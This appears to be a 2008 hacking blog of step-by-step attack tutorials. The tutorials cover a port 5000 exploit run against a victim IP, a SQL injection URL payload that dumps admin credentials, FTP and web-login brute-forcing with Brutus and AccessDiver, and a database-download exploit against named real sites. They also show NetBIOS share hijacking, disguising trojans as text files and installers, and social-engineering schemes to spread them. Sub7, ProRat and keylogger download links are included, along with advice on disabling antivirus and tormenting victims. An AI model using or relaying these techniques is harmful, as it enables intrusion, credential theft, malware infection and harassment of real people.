Wednesday, January 30, 2008

Guide: Hacking using Exploits




Exploit is a code built in C, VB etc.. that takes advantage of an open port.
This guide will teach you how to hack into a computer without sending any trojan server in other words - using Exploits..

In the following steps i'll show you how to hack into a computer using a port 5000 exploit, but you can do the same for other ports just download there exploit from:

- Google.com
- Securiteam.com
- K-otik.com
- Astalavista.box.sk
- Coromputer.net
- Securityfocus.com


(Search the exploit as: "Exploit for PORT NUMBER")

STEP 1: Download port 5000 exploit, uslly the exploits come as .txt and you need to change them to .c

Download: http://planet.nana.co.il/progroup/exploits/5000e.zip

After downloading and extracting the port 5000 Exploit we need to compile it (covert it to .exe), In order to compile the exploit we need the "Cygwin" program.

Download: http://sources.redhat.com/cygwin/setup.exe

STEP 2: Open the Cygwin setup.exe and install it by the following pictures:



















STEP 3: After installing the program we need to compile the exploit, place the 5000.c exploit in C:\cygwin\bin
then run the command line from - Start - Run - cmd/command
in the command window type:

CD c:\cygwin\bin
gcc 5000.c -o 5000.exe


(CD = Open)

Or follow by the picture:



STEP 4: After we finshed to compiled the exploit we can use it! =)
in order to connect the the victims computer that has port 5000 open in this case..
Open the command line by - Start - Run
then type:

CD c:\cygwin\bin
5000.exe XXX.XXX.XXX.XXX -e


(XXX.XXX.XXX.XXX = Victims IP address)

Or follow by the picture:



and WALLA! your connected..

Saturday, January 26, 2008

HOW TO FIND FTP PASSWORDS

i found a way to get a lot of ftp accounts

first step

open google.com or google.ca ,google.ru

search on every country

type in
Code:
intitle:index.of wcx_ftp.ini
find files named wcx_ftp.ini

or search on dc++, odc find files named wcx_ftp.ini
that kind of files contains ftp accounts


and this is the password decrypter

Code:
http://rapidshare.com/files/86784022/TCM_Pass.rar.html

This program checks for vulnerabilities on a site, and bruteforces it. This has a great probability of working, and if it doesn't you can load your own wordlist for bruteforcing (explained below). And no, this is not a leech.

So first download AccessDiver from HERE

After you install, open it and go the the My Skill tab on the top and choose the expert level:


Now go to the Settings Tab and put these settings in. If u see the big logo in the center, double click it to disable it)
And remember to make the speed of your bot 40


Now save these links to a text file:

http://www.proxy4free.com/page7.html
http://www.proxy4free.com/page8.html
http://www.proxy4free.com/page5.html
http://www.proxy4free.com/page6.html
http://www.proxymania.com/page2.html
http://www.proxymania.com/page3.html
http://www.proxy4free.com/page9.html
http://www.proxymania.com/page1.html
http://www.proxy4free.com/page1.html
http://www.proxy4free.com/page3.html
http://www.proxy4free.com/page4.html
http://www.proxy4free.com/page10.html
http://www.proxy4free.com/page2.html
http://www.proxymatrix.com/page2.html
http://www.proxymatrix.com/page1.html
http://www.proxymatrix.com/page3.html
http://www.proxymatrix.com/page5.html
http://www.proxymatrix.com/page4.html
http://www.freepublicproxies.com/page5.html
http://www.freepublicproxies.com/page3.html
http://www.freepublicproxies.com/page4.html

And then click on Proxy Web Leecher (in the tools menu)


When you see the light blue screen, click on the yellow folder button on the left (Add URL site to the list from a file)
Then choose the text file that you just saved. And then click start leeching on the bottom. Results are displayed below, and click on the proxy analyzer:


Right click on of the proxies on the list, then choose Select All. Now all of the proxies should be highlighted. Then click on the Speed/Accuracy Test button:


When finished, select them all again(if not already highlighted), and right click. From the options menu, select all of these things:
-Delete bad results and timeouts
-Delete not-operational and non-anonymous
-Delete fake and idle proxies
-Remove getaway proxies
-Remove dangerous proxies
-Detect and delete black listed proxies(not shown in the screen shot)


Now make sure all the proxies are are highlighted, and right click them and choose Add selected proxies in your proxy list. If you get an error, click ok, then you will see a new page. Check the Use Web Proxies box. Then go back to the Proxy Analyzer tab(My List), highlight them all, and click Add selected proxies in your proxy list. Now you should see this:


Now I think you can put any site in the top address bar, but only websites that require a login. For example, you can try http://members.bangbros.com/ and http://members.teensforcash.com/. Press Test Basic Authentication and wait for it to finish. You can find logins in the Progression Tab. Again, this might not work on all sites. I think this program just checks for exploits on the site, then bruteforces the site, and it will give you the usernames and passwords that were found. NOTE: This program uses a wordlist to bruteforce, so if you have your own wordlist , you can load it by clicking the Wordlist menu on top, Load> a single list of PASSWORDS.


When you paste the URL, press Test Basic Authentication on the left and wait for the program to finish - this might take about 20 minutes for a large website. You can see the % of progress on the task bar. At the end, you will find any logins that work.


Tuesday, January 22, 2008

EASY WEBSITE HACKING


This definitely doesn't work on every single website, so please please please dont complain.


This took a really long time to make so please be happy


Starting (Must use Firefox)

1. open Google

2. type in Code: "Powered by EasySiteNetwork /category.php " When choosing a site to hack, make sure you dont choose one talking about the sql injection.. that wont get you anywhere .


I Found the site im going to use in this tutorial, on page 8 of my google search


Exploit

1. Take a look at the url box, make sure it says category.php somewhere in the link otherwise this wont work



This is the exploit Code: /category.php?catid=1+union+select+111,222,concat_ws(char(58),login,password,email),444+from+users/* Starting from category.php highlight the rest of the url and replace it with the exploit code .


Ok now click Enter and notice the changes to the page .


The user information is set up like this : Username: Password: Email


NOTE: if there is more then one username and password, then its most likely that the 2nd one is the Admin Account, but if there is only one username, then it of course is the only one displayed


So in this situation the Admin username is :1stAngel and the password is: akhual


Now in order to login to the admin control panel, we most add this extension to the original url : /siteadmin/index.php


NOTE: Sometimes there is a popup to login to the admin panel, thats okay to, but if it doesnt work, then just login like any other user would on the home page


Congrats you are now logged into the admin control panel, do as you please, also if you find out the hosting the website is using, by typing in a false path, you can login to there FTP


Thanks for reading

Ghostdog

UNDETECTABLE REMOTE ADMIN



Friday, January 18, 2008

SUB7 GOLD v.2.1 ( POWERFULL TROJAN )





Download



http://rapidshare.com/files/29163030/Sub7_2.1.rar.html


Code:
http://crazy-coderz.net

Thursday, January 17, 2008





WEBSITE HACKING TUTORIAL #2

Alright Friends



Today Were Going to Learn How To Hack A Website, And Please Don’t Actually Hack Any Sites, This is just for testing how bullet proof your site is.



So Lets Just Jump In And Get Started



What You Will Need

Look All This Up On Google, If You Cant Find The CyberHunter Broweser Just use IE or FireFox

Xx247xX CyberHunter Web Browser - Cant Use Firefox Or IE

Blues Port Scanner - Trust Me This Works Best

HTTP Cracker Or Brutus AE2

And Use Notepad To Write Down All Information You Get

FlashFXP



Today Are Example is gonna be http://Xblmods.net



First Thing We Want To Do Is To Make Sure Were Not Just Hacking A Domain, Name, because that would be pretty gay, and have no pride, so what we don’t to do is check around



HINT: look on the forums for real domain.



Okay, now we got the real domain which is http://xblmods.byethost17.com



So we click show list on the Blues Port Scanner and than check all ports and than type in the url of the website in the IP/Domain/Name, Start, and take out the http when scanning. And If You Everything Right, You should of got these ports, it may take a couple of trys to get all those ports.



80-www-Http

27015-gameserver

110-pop3

53-domain

25-smtp

21-ftp



I had to hit scan several times to get this info.



Okay now onto the password cracking, open up BrutusAE2 because Im gonna use that as the example, so after you open Brutus AE2, fill out the form, and leave mostly everything, default, except the type of web were hacking which is FTP, so we click FTP in the scroll down bar, and type In the web url, and click single user, and it will scan for the username, and for the brute forcing you can look on this site: www.crazy-coderz.net for word lists for brute forcers and other http crackers, so after you have everything start the scan, brute forcer can take a very long time so wait, and if you don’t get a password and username, don’t worry, brute forcer doesn’t work all the time.



Okay Lets Say, We Want To Get His FTP Info, Open Up Brutus, and fill in the info like this





If You Are Able To Get The Username, Put It Into The "UserID" section, and uncheck "single user," and feel free to toy around in Brutus for getting passwords.



Okay After We Got The Password, We Take The Username And Port 21, And We Are Going To Get Into There Site, With FlashFXP, so open up the website with the File Transfer Protocol,



And Once Your In, Feel Free To Change The Password Or Just Fuck With The Files



Well Thats Mainly The Basics Hope You Found This Useful.

The.Hacker.Quarterly.Volume.23.Number.4.(Winter 2006 - 2007)

The best magazine.
If you don´t read before, read this one.
It´s a high level magazine, not a one that only gives tricks.

http://rapidshare.com/files/17725637/2600.HQ.Vol23.Winter.2006.2007.rar

ETHICAL HACKING TRAINING COURSE

http://rapidshare.com/files/51329142/Ethical_Hacking_and_Countermeasures.rar

http://pixhost.eu/avaxhome/avaxhome/2007-06-28/ehcover.jpg

Wednesday, January 16, 2008

NOTE: your antivirus WILL pick this up as a trojan! BECAUSE IT IS A TROJAN! (not the harmful kind) its the kind YOU cause harm with so have fun and dont say,,,, ITS INFECTED! lolz.. well c yaz

Download link: http://rapidshare.com/files/84365408/Prorat_1.9_se_patch_Pro_connective.rar




HOW TO MAKE A SERVER A INSTALL FILE

This can make it look like a real installer but really is the ProRat trojan
**********************************************************
Step 1.
Download and install Pano2exe
http://www.change7.com/pano2exe/pano2exe.exe
Requirements:
Windows 95 /98 / 98SE / ME / NT / 2000 / XP

Step 2. Open ProRat and make a server.

Step 3. Open up Pano2exe and follow and proceed on the main screen follow this picture

Step 3:Choose the name (Panorama Title)

Step 4 : Go to the Installer tab and fill it like this
You can make the start up folder anything (eg. "Blah-Game""
also you can add other files to it.

Step 5: At the top; File>Make installer and choose the file name you want it to be and save it. And your done if you want add a Av\fw killer to it if you want to. The "victim" has to select the Short-cut for them to get infected
Note: For somereason when I was testing it with Mcafee Enterprise Running fully updated it did not detect the Install but when I scanned it it did Laughing

Video On Demand



This is a list of Video On Demand sites that will allow you to watch Cartoons, Movies, TV shows etc.



Alluc
http://www.alluc.org/


AOL Video On Demand
http://video.aol.com/


FlickPeek
http://www.flickpeek.com/


Peekvid
http://www.peekvid.com/


QuickSilverScreen
http://quicksilverscreen.com/


SideReel
http://www.sidereel.com/


Surf The Channel
http://www.surfthechannel.com/


TV Life
http://www.tv-life.com/


Videohybrid
http://videohybrid.com/


Vidlist
http://www.vidlist.net/


Vid Stream
http://www.vid-stream.com/


Hacker Tools & Tutorials Databases



This is a list of sites that have an extensive collection of Hacking tools and tutorials. Enjoy!



Darknet
http://www.darknet.org.uk/


DataStronghold
http://www.datastronghold.com/


DLBAZE
http://dlbaze.org/


Hacker's Center
http://www.hackerscenter.com/


IndianZ
http://www.indianz.ch/welcome.html


LeetUpload
http://www.leetupload.com/


LifeDork
http://www.lifedork.com/


Packet Storm
http://www.packetstormsecurity.org/


Planet-Sec
http://planet-sec.org/


Progenic
http://www.progenic.com/


Security Tools
http://sectools.org/


The Hacker's Choice
http://freeworld.thc.org/


To0l-Base
http://www.to0l-base.de/


TrojanFrance
http://www.trojanfrance.com/index.php


VX CHAOS
http://vxchaos.official.ws/


VX Heaven
http://vx.netlux.org/


Tuesday, January 15, 2008

ARDAMAX keylogger TUTORIAL and Download link


log page

Invisiblity Page

Security Page

Web Update Page

Options Page


Info:

Ardamax Keylogger is a keystroke recorder that captures user's activity and saves it to an encrypted log file. The log file can be viewed with the powerful Log Viewer. Use this tool to find out what is happening on your computer while you are away, maintain a backup of your typed data automatically or use it to monitor your kids. Also you can use it as a monitoring device for detecting unauthorised access. Logs can be automatically sent to your e-mail address, access to the keylogger is password protected. Besides, Ardamax Keylogger logs information about the Internet addresses the user has visited.

This invisible spy application is designed for Windows 98, ME, NT4, 2000, XP and 2003.



Keylogger Features:
  • Remote Installer - creates a customized Ardamax Keylogger engine file. You can email this file to your target for remote monitoring.
    Invisible mode makes it absolutely invisible to anyone. Ardamax Keylogger is not visible in the task bar, system tray, Windows 98/2000/XP/2003/Vista Task Manager, process viewers (Process Explorer, WinTasks etc.), Start Menu and Windows Startup list.
  • Email log delivery - keylogger can send you recorded logs through e-mail delivery at set times - perfect for remote monitoring!
  • FTP delivery - Ardamax Keylogger can upload recorded logs through FTP delivery.
  • Network delivery - sends recorded logs through via LAN.
  • Clipboard logging - capture all text copied to the Windows Clipboard.
  • Visual surveillance - periodically makes screenshots and stores the compressed images to log.
  • Chat monitoring - Ardamax Keylogger is designed to record and monitor both sides of a conversation in following chats:
    MSN Messenger, Windows Live Messenger
    ICQ Pro, ICQ Lite
    Skype
    Windows Messenger
    Google Talk
    Yahoo Messenger
    Miranda
    QiP
  • Security - allows you to protect program settings, Hidden Mode and Log file.
  • Web Update - Ardamax Keylogger can check the availability of updates, download and install them automatically. Thus, the latest version of Ardamax Keylogger will always be installed on your computer.
  • Application monitoring - keylogger will record the application that was in use that received the keystroke!
  • Time/Date tracking - it allows you to pinpoint the exact time a window received a keystroke!
  • Powerful Log Viewer - you can view and save the log as a HTML page or plain text with keylogger Log Viewer.
  • Small size – Ardamax Keylogger is several times smaller than other programs with the same features. It has no additional modules and libraries, so its size is smaller and the performance is higher.
    Ardamax Keylogger fully supports Unicode characters which makes it possible to record keystrokes that include characters from Japanese, Chinese, Arabic and many other character sets.
    It records every keystroke. Captures passwords and all other invisible text.

Other Features:
  • Windows 2000/XP/Vista support
  • Monitors multi-user machines
  • Automatic startup
  • Friendly interface
  • Easy to install

Download Link:
BEFORE that plz note two things

Dont get scared by the virus scan results, it shows that its a keylogger and thats what exactly it is... afterall i did get this off the official website...


http://rapidshare.com/files/81061094/setup_akl.exe.html

Code:
ENJOY!!!

WEBSITE HACKING TUTORIAL

let me start off by saying this will not work on every single website you try it on, it took me about five trys to find one that worked

This tutorial was written by me and i also took the screenshots

i will be using the website: http://www.adrianovacchelli.it/vpasp/shopsearch.asp

Starting
1. go to google
2. type in VP-ASP Shopping Cart 5


The Exploit
the exploit is
Code:
diag_dbtest.asp
one you have the website you will be hacking insert this line of code, but of course replace the url
Code:
/shop/diag_dbtest.asp
NOTE: sometimes the subdomain maybe /vpasp/ or /shopping/ which is perfectly fine


you will now be taken to a new webpage with a table that looks like the one below

Note: Sometimes the xDataBase is different which is perfectly okay

Now we need to download the xDataBase
to do this follow these steps:
1. copy the text of the xDataBase
2. in the url box replace the ending code with
Code:
shopping500.mdb
Note: Replace shopping500 with the xDataBase Text


you will then be prompted to save the xDataBase file

Now to open this File you can either use MS Office, whatever mdb program you have, or you can use mdbview which is what i will be using, you can download it with a simple google search

now with the xDataBase file opened in your mdb file viewer you will see this

Note: you may need to click around a few boxes to get to the admin username and password

well there you have it my friends the admin username and password for the website.

Now i will tell you how to login to the admin control panel
1. once again go back to the url box and replace the last bit of code with
Code:
shopadmin.asp
like so..


then click on Login and you will be logged into the admin control panel of the website as shown below


Congratulations you have done it!
you can now do as you please but out of respect i havent done anything to the owners website.


Have Fun

NETBIOS HACKING TUTORIAL

NetBIOS Hacking

For this tutorial, I used Microsoft’s Windows XP Home Edition OS.

-What is it?-
NetBIOS Hacking is the art of hacking into someone else’s computer through your computer. NetBIOS stands for “Network Basic Input Output System.” It is a way for a LAN or WAN to share folders, files, drives, and printers.

-How can this be of use to me?-
Most people don’t even know, but when they’re on a LAN or WAN they could possibly have their entire hard drive shared and not even know. So if we can find a way into the network, their computer is at our disposal.

-What do I need?-
Windows OS
Cain and Abel (http://www.oxid.it/)


Step 1, Finding the target.
-----------------------------------------------------------------------------------------------

So first off we need to find a computer or the computer to hack into. So if your plugged in to the LAN, or connected to the WAN, you can begin. Open up Cain and Abel. This program has a built in sniffer feature. A sniffer looks for all IP addresses in the local subnet. Once you have opened up the program click on the sniffer tab, click the Start/Stop sniffer, and then click the blue cross




Another window will pop up, make sure “All host in my subnet” is selected, and then click ok.




It should begin to scan.




Then IP’s, computer names, and mac addresses will show up. Now remember the IP address of the computer you are going to be breaking into. If you can’t tell whether the IP address is a computer, router, modem, etc, that’s ok. During the next step we will begin our trial and error.




Part 2, Trial and Error
------------------------------------------------------------------------------------------------

Now, we don’t know if we have our designated target, or if we have a computer or printer, or whatever else is on the LAN or WAN. If you did get the IP of the target though, I still recommend reading through this section, for it could be helpful later on. Click on the start menu and go to run, type in cmd, and click ok. This should bring up the command prompt. From here we will do most of the hacking. Now I will be referring to certain commands that need to be inputted into the command prompt. I will put these commands in quotes, but do not put the quotes in the code when you type it into the prompt. I am only doing this to avoid confusion. Let’s get back to the hacking. Type in “ping (IP address of the target).” For example in this tutorial, “ping 192.168.1.103.” This will tell us if the target is online. If it worked, it will look something like this (note, I have colored out private information):




IF it didn’t work, meaning that the target is not online, it will look something like this:




If the target is not online, either switch to a different target, or try another time. If the target is online, then we can proceed.


Part 3, Gathering the Information.
--------------------------------------------------------------------------------------------------

Now, input this command “nbtstat –a (IP address of target).” An example would be “nbtstat –a 192.168.1.103.” This will show us if there is file sharing enabled, and if there is, it will give us the: currently logged on user, workgroup, and computer name.




Ok, you’re probably wondering, “What does all this mean to me?” Well, this is actually very important, without this, the hack would not work. So, let me break it down from the top to bottom. I will just give the first line of information, and then explain the paragraph that follows it.

The information right below the original command says: “Local Area Connection,” this information tells us about our connection through the LAN, and in my case, I am not connected through LAN, so the host is not found, and there is no IP.

The information right below the “Local Area Connection,” is “Wireless Network Connection 2:” It gives us information about the connection to the target through WAN. In my case I am connected through the WAN, so it was able to find the Node IpAddress. The Node IpAddress is the local area IP of the computer you are going to break into.

The NetBIOS Remote Machine Name Table, give us the workgroup of our computer, tells us if it is shared, and gives us the computer name. Sometimes it will even give us the currently logged on user, but in my case, it didn’t. BATGIRL is the name of the computer I am trying to connect to. If you look to the right you should see a <20>. This means that file sharing is enabled on BATGIRL. If there was not a <20> to the right of the Name, then you have reached a dead end and need to go find another IP, or quit for now. Below BATGIRL is the computers workgroup, SUPERHEROES. If you are confused about which one is the workgroup, and the computer, look under the Type category to the right of the < > for every Name. If it says UNIQUE, it is one system, such as a printer or computer. If it is GROUP, then it is the workgroup


Step 4, Breaking In
-----------------------------------------------------------------------------------------------

Finally it’s time. By now we know: that our target is online, our target has file sharing, and our target’s computer name. So it’s time to break in. We will now locate the shared drives, folders, files, or printers. Type in “net view \\(IP Address of Target)”
An example for this tutorial would be: “net view \\192.168.1.103”




We have our just found our share name. In this case, under the share name is “C,” meaning that the only shared thing on the computer is C. Then to the right, under Type, it says “Disk.” This means that it is the actual C DISK of the computer. The C DISK can sometimes be an entire person’s hard drive.

All's that is left to do is “map” the shared drive onto our computer. This means that we will make a drive on our computer, and all the contents of the targets computer can be accessed through our created network drive. Type in “net use K: \\(IP Address of Target)\(Shared Drive). For my example in this tutorial, “net use K: \\192.168.1.103\C.” Ok, let’s say that you plan on doing this again to a different person, do u see the “K after “net use?” This is the letter of the drive that you are making on your computer. It can be any letter you wish, as long as the same letter is not in use by your computer. So it could be “net use G...,” for a different target.





As you can see, for my hack I have already used “K,” so I used “G” instead. You may also do the same for multiple hacks. If it worked, it will say “The command completed successfully.” If not, you will have to go retrace you steps. Now open up “my computer” under the start menu, and your newly created network drive should be there.




Now, if you disconnect from the WAN or LAN, you will not be able to access this drive, hence the name Network Drive. The drive will not be deleted after you disconnect though, but you won’t be able to access it until you reconnect to the network. So if you are doing this for the content of the drive, I recommend dragging the files and folders inside of the drive onto your computer, because you never know if the target changes the sharing setting. If you are just doing this to hack something, then go explore it and have some well deserved fun!



Congratulations! You’re DONE!
But, before you leave, please look over some of this information for further help and just for thanks to me.

-Commands used in this tutorial:

PING
NBTSTAT -a (IP Address of Target)
NET VIEW \\(IP Address of Target)
NET USE K: \\(IP Address of Target)\(SHARENAME)

Guide: About making a .TXT Executable Server!


===================================

As you know a file name .EXE is a Executable file and can run a code.
this guide will teach you how to make a .TXT Executable that can run
any code you want..

STEP1: download TXT Icon pack: http://planet.nana.co.il/progroup/icon_txt.zip -
The pack comes with a 32bit & 16bit icons.

STEP2: Open a new file, Right click - New - Shortcut
Type the location of the item: "X:\WINDOWS\system32\cmd.exe /c file.txt" ("X"=Driver)



and name it "readme.txt"



STEP3: after creating the readme.txt file right click on it and choose - Properties
in the - "Start in" fill - "%currentdir%" , in the - "Run" choose - "Minimized".



then change the icon with one of the TXT icons from the pack by right clicking the readme.txt file then - Properties - Change Icon...

STEP4: In order to execute a file you need one..
just change your Server/Virus extantion to .TXT and name it - "file.txt"

Now you have a .TXT Shortcut and .TXT Executable, when opening the txt shortcut it opens a command - "C:\WINDOWS\system32\cmd.exe /c test.txt" that executes the file you want.

STEP5: Now the readme.txt executes a command window, in order to hide it Right click on the "readme.txt" and choose - Properties - Layout and reduced the size on the window to height=1 and width=1.
Now change the window position to height=999 and width=999.
Now you got a .TXT Executable! you can try editing it and use some more tricks for hiding the shortcut arrow and more..

TEST FILE: http://planet.nana.co.il/progroup/test.rar - opens a message box.

Monday, January 14, 2008

HOW TO INFECT PPL WITH TROJANS

Since there has been so many posts about this, I decided to create this topic.

Getting victims is the hard part of using trojans, in order to get a victim, you need him or her to execute the server. Heres some methods on how to infect totally random people, or just the person you choose:

[[ Infecting many people ]]
First of all you need to upload your server on a webhost, try www.redrival.com. Once your server is on the web (www.sitename.com/server.exe) you can begin.

Method 1: Go to a forum (any forum) and advertise your server as a game cheat/game/hacking program/screensaver etc. Make a new topic about it in the most visited forum.

Method 2: Create a site (in HTML, wich is an extremely simple programming language for web sites) and make it about a game cheat/game/hacking program etc. Now log on a game/chat/forum and advertise that site.

Method 3: Get a vulnerability scanner (The best scanner is "retina" from eeye.com, but its not public), now scan a range of IP adresses for exploits that would let you execute a program on someones computer.

Method 4: Once trojaning someone, get a list of his or her e-mail and chat contacts, and send your server to all of them.

Method 5: Infecting people with P2P programs is a way to get victims. Create a prorat server, then change the name to something like halo_2_keygen.exe or a catchy name that you would think someone would download. You can also make it a .zip or .rar file. Place renamed server file in the "My Shared folder". It will be where the P2P program is installed. Make sure you enable the "Allow people to download from me" option. Some p2p programs doesnt let you seach for files you allready have, so dont worry if you dont find it. (p2p = peer to peer, filesharing program like Kazaa, DC++, emule, warez p2p, etc.)

*Binding the server to a real file also helps.*
*Making sites: Make a file named "index.html", learn html and put some nice html code in it, then upload "index.html" to a webhost (www.redrival.com or www.web1000.com), now your site is at "wvw.web1000.com/name/index.html" or something similar, now go to www.dot.tk and create a .tk adress for it. Now your site will be wvw.name.tk .*

[[ Infecting certain people ]]
Infecting a certain person depends on that persons (and your) intellect and computer skills. The most important thing is: Think 3 times before you do ANYTHING.

Method 1: Tell the victim that you want to send him or her a game/game cheat/screensaver/other program etc. If the victim has anti-virus programs, youll have to say its something the anti-virus program would detect (say its a mailbomber or private trojan creator etc).

Method 2: Get to know one of the victim's friend's e-mail adress (lets say its "boohoo@hotmail.com"). Go to www.hotmail.com or www.passport.com and create an account that looks just like his friends e-mail adress (like "boohooo@hotmail.com".

Method 3: Create an account like "support2834@microsoft.com" at www.passport.com, or use an "mail bomber" to send him or her the server (hotmail will detect the public server as a trojan, buy the SE)

Method 4: Get the victims IP (getting IPs though MSN tutorial in the FAQ at www.proratfaq.tk), now get a vulnerability scanner and check if the victim is vulnerable to some exploit that lets you execute your server on his computer, then read the "hacking using exploits" tutorial by outlaws (in tutorials section).

Method 5: Make a website that would intrest the victim, tell him to go there.

Method 6: Send it though an instant messaging program like MSN messanger.

Method 7: Put your server on a floopy disk or CD, go to someones computer and launch the server from there.

Use your imagination!!


Heres a great way of hiding the .exe extention:
1: Open the Wordpad (Start -> run -> wordpad)
2: Then you use drag`n drop and pull a file (trojan) into the new wordpad file.
3: Now we see the icon of the server on this white background. Now you move your mouse over it and then you go into the context menu (right click).
4: Here you select 'package-object' and then 'edit package'. A new window opened on the left side.
5: In this new window you choose in the top of the menu 'Edit' and select then 'copy package'.
6: Close wordpad and the new window.
7: Now move your mouse to your desktop and go there to the context menu (right click). Here you must choose 'paste'.
If you have done all things right to this moment, you will now see a new file with an new icon and filename on your desctop. This file should be named "OLE-clip", it has no extention so you can rename it to "password.txt" if you want to. When someone executes this file, the server will be executed on his computer!


Happy hacking from ghostdog.

PRORAT TUTORIAL

yes, we all start at the n00b stage, you found this Uber program, and u dont know what to do? well this will help you get started:

Part 1: Making the server

yes i know this is not the best place to start, but i seems logical that you do this first, so, open Prorat, on the left side you see buttons, go ahead and experiment, they dont do much right now.

now, click "Create" and you will be faced with a few options. click "Create ProRat server" for now. this options will make the file (server) that has to be run on the other person (vitims) 's computer, so that you can gain access to it.

now the first thing you see here is notifcations, this is important, you need prorat to send you back an IP address to which you can connect to, so make sure at elast one of them works, select the one you wish to use, and TEST IT, i use ICQ, i know that works, and i could not get email to work for me, but its ok, i manage with ICQ

when u test, ill use ICQ as an example, u get a message. this will be the exact message that you will see, but showing your ip address, this is what somebody else might see if they infected you.

move on to general settings, and select what you like, i keep the port the same, but this is up to you. an error message is clever, without it, the program looks like it does nothing, because other then that, nothing opens up. i recoment killing AV-FW (antivirus / firewall) because then you are undetectable. also, disable windows firewall. the rest is up to you

the next few are self explanetory, binding with file is not required, but is a good options when mass-infection is required. server extenstions - self explanetory, as well as icon...... dont pick something too obvious, be a little stealthy :p

now create the server Smile

Part 2: Connection

assuming that you gave the program to somebody, and then ran it, you got your notification with their IP address, and now you want to connect to them, here is what you do:

in the main program, stick in their ip address into the IP box, and the port that you chose for the server in the port box. if all went right, you should hear a satisfying ping, and a message box asking for your password, this is to make sure that you are the only person that can access an infected computer.

thats it, you are connected

Part 3: Have fun Smile

go ahead and have fun, this is what i recomend: first, take a screenshot of what the person is doing, then send a message telling him that he is begin watched, this already has got to freak a person out, now go disable alt-control-delete and alt-tab, and open up matrix chat....this will FREAK a person out

ever see the matrix? start you first line with "Hello neo...." :p

so yeah, where you go from here is up to you Smile

BTW dont kill computers, its just mean, if you realley hate the person, dont format, kill settings, lke destroy boot file, mess up the registry, etc, does alot mroe damage, formatting is just, reinstalling windows, kiling settings requires ALOT more work for them Smile

ok, good hacking Smile and stay away from me !!!!

Saturday, January 12, 2008

XPHacking With Windows XP


So you have the newest, glitziest, "Fisher Price" version of Windows: XP. How
can you use XP in a way that sets you apart from the boring millions of ordinary
users?

The key to doing amazing things with XP is as simple as D O S. Yes, that's
right, DOS as in MS-DOS, as in MicroSoft Disk Operating System. Windows XP (as
well as NT and 2000) comes with two versions of DOS. Command.com is an old DOS
version. Various versions of command.com come with Windows 95, 98, SE, ME,
Window 3, and DOS only operating systems.

The other DOS, which comes only with XP, 2000 and NT, is cmd.exe. Usually
cmd.exe is better than command.com because it is easier to use, has more
commands, and in some ways resembles the bash shell in Linux and other Unix-type
operating systems. For example, you can repeat a command by using the up arrow
until you back up to the desired command. Unlike bash, however, your DOS command
history is erased whenever you shut down cmd.exe. The reason XP has both
versions of DOS is that sometimes a program that won?t run right in cmd.exe will
work in command.com

note : m not comparing bash to dos


DOS is your number one Windows gateway to the Internet, and the open sesame to
local area networks. From DOS, without needing to download a single hacker
program, you can do amazingly sophisticated explorations and even break into
poorly defended computers.


****************
You can go to jail warning: Breaking into computers is against the law if you do
not have permission to do so from the owner of that computer. For example, if
your friend gives you permission to break into her Hotmail account, that won't
protect you because Microsoft owns Hotmail and they will never give you
permission.
****************
****************
You can get expelled warning: Some kids have been kicked out of school just for
bringing up a DOS prompt on a computer. Be sure to get a teacher's WRITTEN
permission before demonstrating that you can hack on a school computer.
****************

So how do you turn on DOS?
Click All Programs -> Accessories -> Command Prompt
That runs cmd.exe. You should see a black screen with white text on it, saying
something like this:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

Your first step is to find out what commands you can run in DOS. If you type
"help" at the DOS prompt, it gives you a long list of commands. However, this
list leaves out all the commands hackers love to use. Here are some of those
left out hacker commands.

TCP/IP commands:
telnet
netstat
nslookup
tracert
ping
ftp

NetBIOS commands (just some examples):
nbtstat
net use
net view
net localgroup

TCP/IP stands for transmission control protocol/Internet protocol. As you can
guess by the name, TCP/IP is the protocol under which the Internet runs. along
with user datagram protocol (UDP). So when you are connected to the Internet,
you can try these commands against other Internet computers. Most local area
networks also use TCP/IP.

NetBIOS (Net Basic Input/Output System) protocol is another way to communicate
between computers. This is often used by Windows computers, and by Unix/Linux
type computers running Samba. You can often use NetBIOS commands over the
Internet (being carried inside of, so to speak, TCP/IP). In many cases, however,
NetBIOS commands will be blocked by firewalls. Also, not many Internet computers
run NetBIOS because it is so easy to break in using them. I will cover NetBIOS
commands in the next article to XP Hacking.

The queen of hacker commands is telnet. To get Windows help for telnet, in the
cmd.exe window give the command:

C:\>telnet /?

Here's what you will get:

telnet [-a][-e escape char][-f log file][-l user][-t term][host
[port]]

-a Attempt automatic logon. Same as --l option except uses the currently logged
on user's name.
-e Escape character to enter telnet cclient prompt.
-f File name for client side logging
-l Specifies the user name to log in with on the remote system. Requires that
the remote system support the TELNET ENVIRON option.
-t Specifies terminal type. Supportedd term types are vt100, vt52, ansi and vtnt
only.
host Specifies the hostname or IP address of the remote computer to connect to.
port Specifies a port number or service name.


****************
Newbie note: what is a port on a computer? A computer port is sort of like a
seaport. It's where things can go in and/or out of a computer. Some ports are
easy to understand, like keyboard, monitor, printer and modem. Other ports are
virtual, meaning that they are created by software. When that modem port of
yours (or LAN or ISDN or DSL) is connected to the Internet, your computer has
the ability to open or close any of over 65,000 different virtual ports, and has
the ability to connect to any of these on another computer - if it is running
that port, and if a firewall doesn?t block it.
****************
****************
Newbie note: How do you address a computer over the Internet? There are two
ways: by number or by name.
****************

The simplest use of telnet is to log into a remote computer. Give the command:

C:/>telnet targetcomputer.com (substituting the name of the computer you want to
telnet into for targetcomputer.com)

If this computer is set up to let people log into accounts, you may get the
message:

login:

Type your user name here, making sure to be exact. You can't swap between lower
case and capital letters. For example, user name Guest is not the same as guest.

****************
Newbie note: Lots of people email me asking how to learn what their user name
and password are. Stop laughing, darn it, they really do. If you don't know your
user name and password, that means whoever runs that computer didn't give you an
account and doesn't want you to log on.
****************

Then comes the message:

Password:

Again, be exact in typing in your password.

What if this doesn't work?

Every day people write to me complaining they can't telnet. That is usually
because they try to telnet into a computer, or a port on a computer that is set
up to refuse telnet connections. Here's what it might look like when a computer
refuses a telnet connection:

C:\ >telnet 10.0.0.3
Connecting To 10.0.0.3...Could not open connection to the host, on port 23. A
connection attempt failed because the connected party did not properly respond
after a period of time, or established connection failed because connected host
has failed to respond.

Or you might see:

C:\ >telnet hotmail.com
Connecting To hotmail.com...Could not open connection to the host, on port
23. No connection could be made because the target machine actively refused it.

If you just give the telnet command without giving a port number, it will
automatically try to connect on port 23, which sometimes runs a telnet server.

**************
Newbie note: your Windows computer has a telnet client program, meaning it will
let you telnet out of it. However you have to install a telnet server before
anyone can telnet into port 23 on your computer.
*************

If telnet failed to connect, possibly the computer you were trying to telnet
